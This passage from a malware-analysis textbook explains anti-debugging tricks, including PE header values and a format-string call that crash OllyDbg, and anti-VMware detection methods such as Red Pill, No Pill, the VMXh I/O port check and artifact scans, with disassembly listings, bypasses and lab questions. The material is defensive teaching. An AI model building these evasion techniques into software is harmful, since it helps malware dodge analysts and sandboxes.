tions regarding the PE header too strictly. In the PE header, there is typically 
a structure known as the IMAGE_OPTIONAL_HEADER. Figure 16-5 shows a subset of 
this structure.
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Figure 16-5: PE IMAGE_OPTIONAL_HEADER and NumberOfRvaAndSizes vulnerability

The last several elements in this structure are of particular interest. The 
NumberOfRvaAndSizes field identifies the number of entries in the DataDirectory 
array that follows. The DataDirectory array indicates where to find other 
important executable components in the file; it is little more than an array of 
IMAGE_DATA_DIRECTORY structures at the end of the optional header structure. 
Each data directory structure specifies the size and relative virtual address of 
the directory.

The size of the array is set to IMAGE_NUMBEROF_DIRECTORY_ENTRIES, which is 
equal to 0x10. The Windows loader ignores any NumberOfRvaAndSizes greater 
than 0x10, because anything larger will not fit in the DataDirectory array. 
OllyDbg follows the standard and uses NumberOfRvaAndSizes no matter what. 
As a consequence, setting the size of the array to a value greater than 0x10 
(like 0x99) will cause OllyDbg to generate a pop-up window to the user 
before exiting the program.

The easiest way to overcome this technique is to manually modify the 
PE header and set the NumberOfRvaAndSizes to 0x10 using a hex editor or PE 
Explorer. Or, of course, you can use a debugger that is not vulnerable to 
this technique, such as WinDbg or OllyDbg 2.0.

Another PE header trick involves section headers, causing OllyDbg to 
crash during loading with the error “File contains too much data.” (WinDbg 
and OllyDbg 2.0 are not vulnerable to this technique.) Sections contain the 
content of the file, including code, data, resources, and other information. 
Each section has a header in the form of an IMAGE_SECTION_HEADER structure. 
Figure 16-6 shows a subset of this structure.

00000000h

NumberOfRvaAndSizes 00000099h

Size
00000000h
00000000h

DataDirectory[1] Virtual Address
Size

01007604h
000000C8h

DataDirectory[2] Virtual Address
Size

0100B000h
00008958h

DataDirectory[15] Virtual Address
Size

00000000h
00000000h

…

LoaderFlags

DataDirectory[0] Virtual Address

01007604h
000000C8h

0100B000h
00008958h

0x99 is invalid!

16 items in the 
DataDirectory Array

…

…

…

364 Chapter 16



Figure 16-6: PE IMAGE_SECTION_HEADER structure

The elements of interest are VirtualSize and the SizeOfRawData. According 
to the Windows PE specification, VirtualSize should contain the total size of 
the section when loaded into memory, and SizeOfRawData should contain the 
size of data on disk. The Windows loader uses the smaller of VirtualSize and 
SizeOfRawData to map the section data into memory. If the SizeOfRawData is 
larger than VirtualSize, only VirtualSize data is copied into memory; the rest is 
ignored. Because OllyDbg uses only the SizeOfRawData, setting the SizeofRawData 
to something large like 0x77777777, will cause OllyDbg to crash.

The easiest way to overcome this anti-debugging technique is to manu-
ally modify the PE header and set the SizeOfRawData using a hex editor to 
change the value to be close to VirtualSize. (Note that, according to the 
specification, this value must be a multiple of the FileAlignment value from 
the IMAGE_OPTIONAL_HEADER). PE Explorer is a great program to use for this pur-
pose because it is not fooled by a large value for SizeofRawData.

The OutputDebugString Vulnerability
Malware often attempts to exploit a format string vulnerability in version 1.1 
of OllyDbg, by providing a string of %s as a parameter to OutputDebugString to 
cause OllyDbg to crash. Beware of suspicious calls like OutputDebugString
("%s%s%s%s%s%s%s%s%s%s%s%s%s%s"). If this call executes, your debugger will 
crash.

Conclusion

This chapter introduced you to some popular anti-debugging techniques. 
It takes patience and perseverance to learn to recognize and bypass anti-
debugging techniques. Be sure to take notes during your analysis and 
remember the location of any anti-debugging techniques and how you 
bypass them; doing so will help you if you need to restart the debugging 
process.

Most anti-debugging techniques can be spotted using common sense, 
while debugging a process slowly. For example, if you see code terminating 
prematurely at a conditional jump, that might hint at an anti-debugging 

Name “.text”

VirtualSize 00004C52h

VirtualAddress 00401000h

SizeOfRawData 77777777h

PointerToRawData

PointerToRelocations 00000000h

00000400h

…

Location of raw data 
in PE file 

Location to virtually 
load this section

77777777h is 
invalid! 
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technique. Most popular anti-debugging techniques involve accessing 
fs:[30h], calling a Windows API call, or performing a timing check.

Of course, as with all malware analysis, the best way to learn to thwart 
anti-debugging techniques is by continuing to reverse and study malware. 
Malware authors are always looking for new ways to thwart debuggers and 
to keep malware analysts like you on your toes.
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L A B S
Lab 16-1

Analyze the malware found in Lab16-01.exe using a debugger. This is the 
same malware as Lab09-01.exe, with added anti-debugging techniques.

Questions

1. Which anti-debugging techniques does this malware employ?

2. What happens when each anti-debugging technique succeeds?

3. How can you get around these anti-debugging techniques?

4. How do you manually change the structures checked during runtime?

5. Which OllyDbg plug-in will protect you from the anti-debugging tech-
niques used by this malware?

Lab 16-2

Analyze the malware found in Lab16-02.exe using a debugger. The goal of this 
lab is to figure out the correct password. The malware does not drop a mali-
cious payload. 

Questions

1. What happens when you run Lab16-02.exe from the command line?

2. What happens when you run Lab16-02.exe and guess the command-line 
parameter?

3. What is the command-line password?

4. Load Lab16-02.exe into IDA Pro. Where in the main function is strncmp 
found? 

5. What happens when you load this malware into OllyDbg using the 
default settings?

6. What is unique about the PE structure of Lab16-02.exe?

7. Where is the callback located? (Hint: Use CTRL-E in IDA Pro.)

8. Which anti-debugging technique is the program using to terminate 
immediately in the debugger and how can you avoid this check?

9. What is the command-line password you see in the debugger after you 
disable the anti-debugging technique?

10. Does the password found in the debugger work on the command line?

11. Which anti-debugging techniques account for the different passwords in 
the debugger and on the command line, and how can you protect 
against them?
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Lab 16-3

Analyze the malware in Lab16-03.exe using a debugger. This malware is simi-
lar to Lab09-02.exe, with certain modifications, including the introduction of 
anti-debugging techniques. If you get stuck, see Lab 9-2.

Questions

1. Which strings do you see when using static analysis on the binary?

2. What happens when you run this binary?

3. How must you rename the sample in order for it to run properly?

4. Which anti-debugging techniques does this malware employ?

5. For each technique, what does the malware do if it determines it is 
running in a debugger?

6. Why are the anti-debugging techniques successful in this malware?

7. What domain name does this malware use?
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A N T I - V I R T U A L  M A C H I N E  
T E C H N I Q U E S

Malware authors sometimes use anti-virtual machine 
(anti-VM) techniques to thwart attempts at analysis. 
With these techniques, the malware attempts to detect 
whether it is being run inside a virtual machine. If a 
virtual machine is detected, it can act differently or 
simply not run. This can, of course, cause problems 
for the analyst.

Anti-VM techniques are most commonly found in malware that is widely 
deployed, such as bots, scareware, and spyware (mostly because honeypots 
often use virtual machines and because this malware typically targets the 
average user’s machine, which is unlikely to be running a virtual machine). 

The popularity of anti-VM malware has been going down recently, and 
this can be attributed to the great increase in the usage of virtualization. 
Traditionally, malware authors have used anti-VM techniques because they 
thought only analysts would be running the malware in a virtual machine. 
However, today both administrators and users use virtual machines in order 
to make it easy to rebuild a machine (rebuilding had been a tedious process, 
but virtual machines save time by allowing you to go back to a snapshot). 
Malware authors are starting to realize that just because a machine is a virtual 



machine does not necessarily mean that it isn’t a valuable victim. As virtual-
ization continues to grow, anti-VM techniques will probably become even less 
common.

Because anti-VM techniques typically target VMware, in this chapter, 
we’ll focus on anti-VMware techniques. We’ll examine the most common 
techniques and how to defeat them by tweaking a couple of settings, remov-
ing software, or patching an executable.

VMware Artifacts

The VMware environment leaves many artifacts on the system, especially 
when VMware Tools is installed. Malware can use these artifacts, which are 
present in the filesystem, registry, and process listing, to detect VMware.

For example, Figure 17-1 shows the process listing for a standard VMware 
image with VMware Tools installed. Notice that three VMware processes are 
running: VMwareService.exe, VMwareTray.exe, and VMwareUser.exe. Any one 
of these can be found by malware as it searches the process listing for the 
VMware string.

Figure 17-1: Process listing on a VMware image with 
VMware Tools running

VMwareService.exe runs the VMware Tools Service as a child of services.exe. 
It can be identified by searching the registry for services installed on a machine 
or by listing services using the following command:

C:\> net start | findstr VMware

     VMware Physical Disk Helper Service
     VMware Tools Service
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The VMware installation directory C:\Program Files\VMware\VMware Tools 
may also contain artifacts, as can the registry. A quick search for “VMware” 
in a virtual machine’s registry might find keys like the following, which are 
entries that include information about the virtual hard drive, adapters, and 
virtual mouse.

[HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0]
"Identifier"="VMware Virtual IDE Hard Drive"
"Type"="DiskPeripheral"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Reinstall\0000]
"DeviceDesc"="VMware Accelerated AMD PCNet Adapter"
"DisplayName"="VMware Accelerated AMD PCNet Adapter"
"Mfg"="VMware, Inc."
"ProviderName"="VMware, Inc."

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E96F-E325-11CE-BFC1-08002BE10318}\0000]
"LocationInformationOverride"="plugged into PS/2 mouse port"
"InfPath"="oem13.inf"
"InfSection"="VMMouse"
"ProviderName"="VMware, Inc."

As discussed in Chapter 2, you can connect your virtual machine to a net-
work in a variety of ways, all of which allow the virtual machine to have its 
own virtual network interface card (NIC). Because VMware must virtualize 
the NIC, it needs to create a MAC address for the virtual machine, and, 
depending on its configuration, the network adapter can also identify 
VMware usage. 

The first three bytes of a MAC address are typically specific to the ven-
dor, and MAC addresses starting with 00:0C:29 are associated with VMware. 
VMware MAC addresses typically change from version to version, but all that 
a malware author needs to do is to check the virtual machine’s MAC address 
for VMware values. 

Malware can also detect VMware by other hardware, such as the mother-
board. If you see malware checking versions of hardware, it might be trying 
to detect VMware. Look for the code that checks MAC addresses or hardware 
versions, and patch the code to avoid the check.

The most common VMware artifacts can be easily eliminated by unin-
stalling VMware Tools or by trying to stop the VMware Tools Service with the 
following command:

net stop "VMware Tools Service"

You may also be able to prevent malware from searching for artifacts. 
For example, if you find a single VMware-related string in malware—such as 
net start | findstr VMware, VMMouse, VMwareTray.exe, or VMware Virtual IDE Hard 
Drive—you know that the malware is attempting to detect VMware artifacts. 
You should be able to find this code easily in IDA Pro using the references 
to the strings. Once you find it, patch it to avoid detection while ensuring 
that the malware will function properly.
Ant i -V i r tua l  Machine Techniques 371



Bypassing VMware Artifact Searching
Defeating malware that searches for VMware artifacts is often a simple two-
step process: identify the check and then patch it. For example, say we run 
strings against the malware vmt.exe. We notice that the binary contains the 
string "VMwareTray.exe", and we discover a cross-reference from the code 
to this string. We follow this cross-reference to 0x401098, as shown in the 
disassembly in Listing 17-1 at .

0040102D        call ds:CreateToolhelp32Snapshot
00401033        lea ecx, [ebp+processentry32]
00401039        mov ebx, eax
0040103B        push ecx        ; lppe
0040103C        push ebx        ; hSnapshot
0040103D        mov [ebp+processentry32.dwSize], 22Ch
00401047        call ds:Process32FirstW
0040104D        mov esi, ds:WideCharToMultiByte
00401053        mov edi, ds:strncmp
00401059        lea esp, [esp+0]
00401060 loc_401060:         ; CODE XREF: sub_401000+B7j
00401060        push 0          ; lpUsedDefaultChar
00401062        push 0          ; lpDefaultChar
00401064        push 104h       ; cbMultiByte
00401069        lea edx, [ebp+Str1]
0040106F        push edx        ; lpMultiByteStr
00401070        push 0FFFFFFFFh ; cchWideChar
00401072        lea eax, [ebp+processentry32.szExeFile]
00401078        push eax        ; lpWideCharStr
00401079        push 0          ; dwFlags
0040107B        push 3          ; CodePage
0040107D        call esi ; WideCharToMultiByte
0040107F        lea eax, [ebp+Str1]
00401085        lea edx, [eax+1]
00401088 loc_401088:         ; CODE XREF: sub_401000+8Dj
00401088        mov cl, [eax]
0040108A        inc eax
0040108B        test cl, cl
0040108D        jnz short loc_401088
0040108F        sub eax, edx
00401091        push eax        ; MaxCount
00401092        lea ecx, [ebp+Str1]
00401098        push offset Str2 ; "VMwareTray.exe" 
0040109D        push ecx        ; Str1
0040109E        call edi ; strncmp 
004010A0        add esp, 0Ch
004010A3        test eax, eax
004010A5        jz  short loc_4010C0
004010A7        lea edx, [ebp+processentry32]
004010AD        push edx        ; lppe
004010AE        push ebx        ; hSnapshot
004010AF        call ds:Process32NextW
004010B5        test eax, eax
004010B7        jnz short loc_401060
...
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004010C0 loc_4010C0:         ; CODE XREF: sub_401000+A5j
004010C0        push 0          ; Code
004010C2        call ds:exit

Listing 17-1: Disassembly snippet from vmt.exe showing VMware artifact detection 

Analyzing this code further, we notice that it is scanning the process list-
ing with functions like CreateToolhelp32Snapshot, Process32Next, and so on. The 
strncmp at  is comparing the VMwareTray.exe string with the result of convert-
ing processentry32.szExeFile to ASCII to determine if the process name is in 
the process listing. If VMwareTray.exe is discovered in the process listing, the 
program will immediately terminate, as seen at 0x4010c2. 

There are a couple of ways to avoid this detection:

 Patch the binary while debugging so that the jump at 0x4010a5 will 
never be taken. 

 Use a hex editor to modify the VMwareTray.exe string to read XXXareTray.exe 
to make the comparison fail since this is not a valid process string. 

 Uninstall VMware Tools so that VMwareTray.exe will no longer run. 

Checking for Memory Artifacts
VMware leaves many artifacts in memory as a result of the virtualization pro-
cess. Some are critical processor structures, which, because they are either 
moved or changed on a virtual machine, leave recognizable footprints. 

One technique commonly used to detect memory artifacts is a search 
through physical memory for the string VMware, which we have found may 
detect several hundred instances.

Vulnerable Instructions

The virtual machine monitor program monitors the virtual machine’s execu-
tion. It runs on the host operating system to present the guest operating sys-
tem with a virtual platform. It also has a couple of security weaknesses that 
can allow malware to detect virtualization.

NOTE The x86 instruction-related issues in virtual machines discussed in this section were 
originally outlined in the USENIX 2000 paper “Analysis of the Intel Pentium’s Ability 
to Support a Secure Virtual Machine Monitor” by John Robin and Cynthia Irvine.

In kernel mode, VMware uses binary translation for emulation. Certain 
privileged instructions in kernel mode are interpreted and emulated, so they 
don’t run on the physical processor. Conversely, in user mode, the code runs 
directly on the processor, and nearly every instruction that interacts with 
hardware is either privileged or generates a kernel trap or interrupt. VMware 
catches all the interrupts and processes them, so that the virtual machine still 
thinks it is a regular machine. 
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Some instructions in x86 access hardware-based information but don’t 
generate interrupts. These include sidt, sgdt, sldt, and cpuid, among others. 
In order to virtualize these instructions properly, VMware would need to per-
form binary translation on every instruction (not just kernel-mode instruc-
tions), resulting in a huge performance hit. To avoid huge performance hits 
from doing full-instruction emulation, VMware allows certain instructions to 
execute without being properly virtualized. Ultimately, this means that cer-
tain instruction sequences will return different results when running under 
VMware than they will on native hardware.

The processor uses certain key structures and tables, which are loaded at 
different offsets as a side effect of this lack of full translation. The interrupt 
descriptor table (IDT) is a data structure internal to the CPU, which is used by 
the operating system to determine the correct response to interrupts and 
exceptions. Under x86, all memory accesses pass through either the global 
descriptor table (GDT) or the local descriptor table (LDT). These tables contain 
segment descriptors that provide access details for each segment, including 
the base address, type, length, access rights, and so on. IDT (IDTR), GDT 
(GDTR), and LDT (LDTR) are the internal registers that contain the 
address and size of these respective tables. 

Note that operating systems do not need to utilize these tables. For 
example, Windows implements a flat memory model and uses only the GDT 
by default. It does not use the LDT.

Three sensitive instructions—sidt, sgdt, and sldt—read the location of 
these tables, and all store the respective register into a memory location. 
While these instructions are typically used by the operating system, they are 
not privileged in the x86 architecture, and they can be executed from user 
space.

An x86 processor has only three registers to store the locations of these 
three tables. Therefore, these registers must contain values valid for the 
underlying host operating system and will diverge from values expected by 
the virtualized (guest) operating system. Since the sidt, sgdt, and sldt instruc-
tions can be invoked at any time by user-mode code without being trapped 
and properly virtualized by VMware, they can be used to detect its presence.

Using the Red Pill Anti-VM Technique
Red Pill is an anti-VM technique that executes the sidt instruction to grab the 
value of the IDTR register. The virtual machine monitor must relocate the 
guest’s IDTR to avoid conflict with the host’s IDTR. Since the virtual machine 
monitor is not notified when the virtual machine runs the sidt instruction, 
the IDTR for the virtual machine is returned. The Red Pill tests for this dis-
crepancy to detect the usage of VMware.

Listing 17-2 shows how Red Pill might be used by malware. 

push    ebp
mov     ebp, esp
sub     esp, 454h
push    ebx
push    esi
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push    edi
push    8               ; Size
push    0               ; Val
lea     eax, [ebp+Dst]
push    eax             ; Dst
call    _memset
add     esp, 0Ch
lea     eax, [ebp+Dst]

 sidt    fword ptr [eax]
mov     al, [eax+5]
cmp     al, 0FFh
jnz     short loc_401E19  

Listing 17-2: Red Pill in malware

The malware issues the sidt instruction at , which stores the contents 
of IDTR into the memory location pointed to by EAX. The IDTR is 6 bytes, 
and the fifth byte offset contains the start of the base memory address. That 
fifth byte is compared to 0xFF, the VMware signature.

Red Pill succeeds only on a single-processor machine. It won’t work con-
sistently against multicore processors because each processor (guest or host) 
has an IDT assigned to it. Therefore, the result of the sidt instruction can 
vary, and the signature used by Red Pill can be unreliable. 

To thwart this technique, run on a multicore processor machine or 
simply NOP-out the sidt instruction.

Using the No Pill Technique
The sgdt and sldt instruction technique for VMware detection is commonly 
known as No Pill. Unlike Red Pill, No Pill relies on the fact that the LDT 
structure is assigned to a processor, not an operating system. And because 
Windows does not normally use the LDT structure, but VMware provides vir-
tual support for it, the table will differ predictably: The LDT location on the 
host machine will be zero, and on the virtual machine, it will be nonzero. A 
simple check for zero against the result of the sldt instruction does the trick. 

The sldt method can be subverted in VMware by disabling acceleration. 
To do this, select VMSettingsProcessors and check the Disable Acceler-
ation box. No Pill solves this acceleration issue by using the smsw instruction if 
the sldt method fails. This method involves inspecting the undocumented 
high-order bits returned by the smsw instruction. 

Querying the I/O Communication Port 
Perhaps the most popular anti-VMware technique currently in use is that of 
querying the I/O communication port. This technique is frequently encoun-
tered in worms and bots, such as the Storm worm and Phatbot.

VMware uses virtual I/O ports for communication between the virtual 
machine and the host operating system to support functionality like copy 
and paste between the two systems. The port can be queried and compared 
with a magic number to identify the use of VMware. 
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The success of this technique depends on the x86 in instruction, which 
copies data from the I/O port specified by the source operand to a memory 
location specified by the destination operand. VMware monitors the use of 
the in instruction and captures the I/O destined for the communication 
channel port 0x5668 (VX). Therefore, the second operand needs to be loaded 
with VX in order to check for VMware, which happens only when the EAX 
register is loaded with the magic number 0x564D5868 (VMXh). ECX must be 
loaded with a value corresponding to the action you wish to perform on the 
port. The value 0xA means “get VMware version type,” and 0x14 means “get 
the memory size.” Both can be used to detect VMware, but 0xA is more popu-
lar because it may determine the VMware version.

Phatbot, also known as Agobot, is a botnet that is simple to use. One of 
its features is its built-in support of the I/O communication port technique, 
as shown in Listing 17-3. 

004014FA        push    eax
004014FB        push    ebx
004014FC        push    ecx
004014FD        push    edx
004014FE        mov     eax, 'VMXh' 
00401503        mov     ebx, [ebp+var_1C]
00401506        mov     ecx, 0xA
00401509        mov     dx, 'VX' 
0040150E        in      eax, dx
0040150F        mov     [ebp+var_24], eax
00401512        mov     [ebp+var_1C], ebx
00401515        mov     [ebp+var_20], ecx
00401518        mov     [ebp+var_28], edx
...
0040153E        mov     eax, [ebp+var_1C]
00401541        cmp     eax, 'VMXh' 
00401546        jnz     short loc_40155C

Listing 17-3: Phatbot’s VMware detection

The malware first loads the magic number 0x564D5868 (VMXh) into the EAX 
register at . Next, it loads the local variable var_1c into EBX, a memory address 
that will return any reply from VMware. ECX is loaded with the value 0xA to get 
the VMware version type. At , 0x5668 (VX) is loaded into DX, to be used in the 
following in instruction to specify the VMware I/O communication port. 

Upon execution, the in instruction is trapped by the virtual machine and 
emulated to execute it. The in instruction uses parameters of EAX (magic 
value), ECX (operation), and EBX (return information). If the magic value 
matches VMXh and the code is running in a virtual machine, the virtual machine 
monitor will echo that back in the memory location specified by the EBX 
register. 

The check at  determines whether the code is being run in a virtual 
machine. Since the get version type option is selected, the ECX register will 
contain the type of VMware (1=Express, 2=ESX, 3=GSX, and 4=Workstation).
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The easiest way to overcome this technique is to NOP-out the in instruc-
tion or to patch the conditional jump to allow it regardless of the outcome of 
the comparison. 

Using the str Instruction
The str instruction retrieves the segment selector from the task register, 
which points to the task state segment (TSS) of the currently executing task. 
Malware authors can use the str instruction to detect the presence of a vir-
tual machine, since the values returned by the instruction may differ on the 
virtual machine versus a native system. (This technique does not work on 
multiprocessor hardware.)

Figure 17-2 shows the str instruction at 0x401224 in malware known as 
SNG.exe. This loads the TSS into the 4 bytes: var_1 through var_4, as labeled by 
IDA Pro. Two comparisons are made at 0x40125A and 0x401262 to determine 
if VMware is detected.

Anti-VM x86 Instructions
We’ve just reviewed the most common instructions used by malware to 
employ anti-VM techniques. These instructions are as follows:

 sidt

 sgdt

 sldt

 smsw

 str

 in (with the second operand set to VX)
 cpuid

Malware will not typically run these instructions unless it is performing 
VMware detection, and avoiding this detection can be as easy as patching the 
binary to avoid calling these instructions. These instructions are basically use-
less if executed in user mode, so if you see them, they’re likely part of anti-
VMware code. VMware describes roughly 20 instructions as “not virtualiz-
able,” of which the preceding are the most commonly used by malware.

Highlighting Anti-VM in IDA Pro
You can search for the instructions listed in the previous section in IDA Pro 
using the IDAPython script shown in Listing 17-4. This script looks for the 
instructions, highlights any in red, and prints the total number of anti-VM 
instructions found in IDA’s output window.

Figure 17-2 shows a partial result of running this script against SNG.exe 
with one location (str at 0x401224) highlighted by the bar. Examining the 
highlighted code in IDA Pro will allow you to quickly see if the instruction 
found is involved in an anti-VM technique. Further investigation shows that 
the str instruction is being used to detect VMware. 
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Figure 17-2: The str anti-VM technique in SNG.exe

from idautils import *
from idc import *

heads = Heads(SegStart(ScreenEA()), SegEnd(ScreenEA()))
antiVM = []
for i in heads:
  if (GetMnem(i) == "sidt" or GetMnem(i) == "sgdt" or GetMnem(i) == "sldt" or 
GetMnem(i) == "smsw" or GetMnem(i) == "str" or GetMnem(i) == "in" or 
GetMnem(i) == "cpuid"):
    antiVM.append(i)
print "Number of potential Anti-VM instructions: %d" % (len(antiVM))
for i in antiVM:
  SetColor(i, CIC_ITEM, 0x0000ff)

Message("Anti-VM: %08x\n" % i)

Listing 17-4: IDA Pro script to find anti-VM instructions
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Using ScoopyNG
ScoopyNG (http://www.trapkit.de/) is a free VMware detection tool that 
implements seven different checks for a virtual machine, as follows:

 The first three checks look for the sidt, sgdt, and sldt (Red Pill and 
No Pill) instructions. 

 The fourth check looks for str.

 The fifth and sixth use the backdoor I/O port 0xa and 0x14 options, 
respectively. 

 The seventh check relies on a bug in older VMware versions running in 
emulation mode. 

For a disassembled version of ScoopyNG’s fourth check, see Figure 17-2. 

Tweaking Settings

We have discussed a number of ways to thwart VMware detection throughout 
this chapter, including patching code, removing VMware Tools, changing 
VMware settings, and using a multiprocessor machine. 

There are also a number of undocumented features in VMware that can 
help mitigate anti-VMware techniques. For example, placing the options in 
Listing 17-5 into the virtual machine’s .vmx file will make the virtual machine 
less detectable. 

isolation.tools.getPtrLocation.disable = "TRUE"
isolation.tools.setPtrLocation.disable = "TRUE"
isolation.tools.setVersion.disable = "TRUE"
isolation.tools.getVersion.disable = "TRUE"
monitor_control.disable_directexec = "TRUE"
monitor_control.disable_chksimd = "TRUE"
monitor_control.disable_ntreloc = "TRUE"
monitor_control.disable_selfmod = "TRUE"
monitor_control.disable_reloc = "TRUE"
monitor_control.disable_btinout = "TRUE"
monitor_control.disable_btmemspace = "TRUE"
monitor_control.disable_btpriv = "TRUE"
monitor_control.disable_btseg = "TRUE"  

Listing 17-5: VMware’s .vmx file undocumented options used to thwart anti-VM techniques

The directexec parameter causes user-mode code to be emulated, instead 
of being run directly on the CPU, thus thwarting certain anti-VM techniques. 
The first four settings are used by VMware backdoor commands so that 
VMware Tools running in the guest cannot get information about the host.

These changes will protect against all of ScoopyNG’s checks, other than 
the sixth, when running on a multiprocessor machine. However, we do not 
recommend using these settings in VMware, because they disable the useful-
ness of VMware Tools and they may have serious negative effects on the per-
formance of your virtual machines. Add these options only after you’ve 
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exhausted all other techniques. These techniques have been mentioned for 
completeness, but modifying a .vmx file to try to catch ten of the potentially 
hundreds of ways that VMware might be detected can be a bit of a wild-goose 
chase. 

Escaping the Virtual Machine

VMware has its vulnerabilities, which can be exploited to crash the host oper-
ating system or even run code in it.

Many publicized vulnerabilities are found in VMware’s shared folders fea-
ture or in tools that exploit the drag-and-drop functionality of VMware Tools. 
One well-publicized vulnerability uses shared folders to allow a guest to write to 
any file on the host operating system in order to modify or compromise the 
host operating system. Although this particular technique doesn’t work with 
the current version of VMware, several different flaws have been discovered 
in the shared folders feature. Disable shared folders in the virtual machine 
settings to prevent this type of attack. 

Another well-publicized vulnerability was found in the virtual machine 
display function in VMware. An exploit for this vulnerability is known as 
Cloudburst, and it is publicly available as part of the Canvas penetration-
testing tool (this vulnerability has also been patched by VMware). 

Certain publicly available tools assist in exploiting VMware once the 
host has been infected, including VMchat, VMcat, VMftp, VMdrag-n-hack, 
and VMdrag-n-sploit. These tools are of little use until you have escaped 
the virtual machine, and you shouldn’t need to worry about them if mal-
ware is being run in the virtual machine.

Conclusion

This chapter introduced the most popular anti-VMware techniques. Because 
malware authors use these techniques to slow down analysis, it’s important to 
be able to recognize them. We have explained these techniques in detail so 
that you can find them in disassembly or debugging, and we’ve explored 
ways to overcome them without needing to modify malware at the disassem-
bly level. 

When performing basic dynamic analysis, you should always use a virtual 
machine. However, if your subject malware doesn’t seem to run, consider 
trying another virtual machine with VMware Tools uninstalled before debug-
ging or disassembling the malware in search of virtual machine detection. 
You might also run your subject malware in a different virtual environment 
(like VirtualBox or Parallels) or even on a physical machine.

As with anti-debugging techniques, anti-VM techniques can be spotted 
using common sense while slowly debugging a process. For example, if you 
see code terminating prematurely at a conditional jump, it may be doing so 
as a result of an anti-VM technique. As always, be aware of these types of 
issues and look ahead in the code to determine what action to take. 
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L A B S
Lab 17-1

Analyze the malware found in Lab17-01.exe inside VMware. This is the same 
malware as Lab07-01.exe, with added anti-VMware techniques. 

NOTE The anti-VM techniques found in this lab may not work in your environment.

Questions

1. What anti-VM techniques does this malware use?

2. If you have the commercial version of IDA Pro, run the IDA Python 
script from Listing 17-4 in Chapter 17 (provided here as findAntiVM.py). 
What does it find?

3. What happens when each anti-VM technique succeeds?

4. Which of these anti-VM techniques work against your virtual machine?

5. Why does each anti-VM technique work or fail?

6. How could you disable these anti-VM techniques and get the malware 
to run?

Lab 17-2

Analyze the malware found in the file Lab17-02.dll inside VMware. After 
answering the first question in this lab, try to run the installation exports 
using rundll32.exe and monitor them with a tool like procmon. The following 
is an example command line for executing the DLL: 

rundll32.exe Lab17-02.dll,InstallRT (or InstallSA/InstallSB)

Questions

1. What are the exports for this DLL?

2. What happens after the attempted installation using rundll32.exe? 

3. Which files are created and what do they contain?

4. What method of anti-VM is in use?

5. How could you force the malware to install during runtime?

6. How could you permanently disable the anti-VM technique?

7. How does each installation export function work?
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Lab 17-3

Analyze the malware Lab17-03.exe inside VMware. This lab is similar to 
Lab12-02.exe, with added anti-VMware techniques.

Questions

1. What happens when you run this malware in a virtual machine?

2. How could you get this malware to run and drop its keylogger?

3. Which anti-VM techniques does this malware use?

4. What system changes could you make to permanently avoid the anti-VM 
techniques used by this malware?

5. How could you patch the binary in OllyDbg to force the anti-VM tech-
niques to permanently fail?
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P A C K E R S  A N D  U N P A C K I N G

Packing programs, known as packers, have become 
extremely popular with malware writers because they 
help malware hide from antivirus software, complicate 
malware analysis, and shrink the size of a malicious 
executable. Most packers are easy to use and are freely available. Basic static 
analysis isn’t useful on a packed program; packed malware must be unpacked 
before it can be analyzed statically, which makes analysis more complicated 
and challenging.

Packers are used on executables for two main reasons: to shrink pro-
grams or to thwart detection or analysis. Even though there are a wide variety 
of packers, they all follow a similar pattern: They transform an executable to 
create a new executable that stores the transformed executable as data and 
contains an unpacking stub that is called by the OS.

We begin this chapter with some background information about how 
packers work and how to recognize them. Then we will discuss unpacking 
strategies, starting with simple ones and then moving on to strategies that are 
progressively more complicated.



Packer Anatomy

When malware has been packed, an analyst typically has access to only the 
packed file, and cannot examine the original unpacked program or the pro-
gram that packed the malware. In order to unpack an executable, we must 
undo the work performed by the packer, which requires that we understand 
how a packer operates.

All packers take an executable file as input and produce an executable 
file as output. The packed executable is compressed, encrypted, or otherwise 
transformed, making it harder to recognize and reverse-engineer.

Most packers use a compression algorithm to compress the original exe-
cutable. A packer designed to make the file difficult to analyze may encrypt 
the original executable and employ anti-reverse-engineering techniques, 
such as anti-disassembly, anti-debugging, or anti-VM. Packers can pack the 
entire executable, including all data and the resource section, or pack only 
the code and data sections.

To maintain the functionality of the original program, a packing pro-
gram needs to store the program’s import information. The information 
can be stored in any format, and there are several common strategies, which 
are covered in depth later in this chapter. When unpacking a program, 
reconstructing the import section can sometimes be challenging and time-
consuming, but it’s necessary for analyzing the program’s functionality.

The Unpacking Stub
Nonpacked executables are loaded by the OS. With packed programs, the 
unpacking stub is loaded by the OS, and then the unpacking stub loads the 
original program. The code entry point for the executable points to the 
unpacking stub rather than the original code. The original program is 
generally stored in one or more extra sections of the file.

The unpacking stub can be viewed by a malware analyst, and understand-
ing the different parts of the stub is fundamental to unpacking the execut-
able. The unpacking stub is often small, since it does not contribute to the 
main functionality of the program, and its function is typically simple: unpack 
the original executable. If you attempt to perform static analysis on the packed 
program, you will be analyzing the stub, not the original program.

The unpacking stub performs three steps:

 Unpacks the original executable into memory

 Resolves all of the imports of the original executable

 Transfers execution to the original entry point (OEP)

Loading the Executable
When regular executables load, a loader reads the PE header on the disk, 
and allocates memory for each of the executable’s sections based on that 
header. The loader then copies the sections into the allocated spaces in 
memory.
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Packed executables also format the PE header so that the loader will allo-
cate space for the sections, which can come from the original program, or 
the unpacking stub can create the sections. The unpacking stub unpacks the 
code for each section and copies it into the space that was allocated. The 
exact unpacking method used depends on the goals of the packer, and it is 
generally contained within the stub.

Resolving Imports
As discussed in Chapter 1, nonpacked PE files include a section that tells 
the loader which functions to import, and another section that stores the 
addresses of the names of all the imported functions. The Windows loader 
reads the import information, determines which functions are needed, and 
then fills in the addresses.

The Windows loader cannot read import information that is packed. For 
a packed executable, the unpacking stub will resolve the imports. The spe-
cific approach depends on the packer.

The most common approach is to have the unpacking stub import 
only the LoadLibrary and GetProcAddress functions. After the unpacking stub 
unpacks the original executable, it reads the original import information. It 
will call LoadLibrary for each library, in order to load the DLL into memory, 
and will then use GetProcAddress to get the address for each function.

Another approach is to keep the original import table intact, so that the 
Windows loader can load the DLLs and the imported functions. This is the 
simplest approach, since the unpacking stub does not need to resolve the 
imports. However, static analysis of the packed program will reveal all the 
original imports, so this approach lacks stealth. Additionally, since the 
imported functions are stored in plaintext in the executable, the compres-
sion possible with this approach is not optimal.

A third approach is to keep one import function from each DLL con-
tained in the original import table. This approach will reveal only one func-
tion per imported library during analysis, so it’s stealthier than the previous 
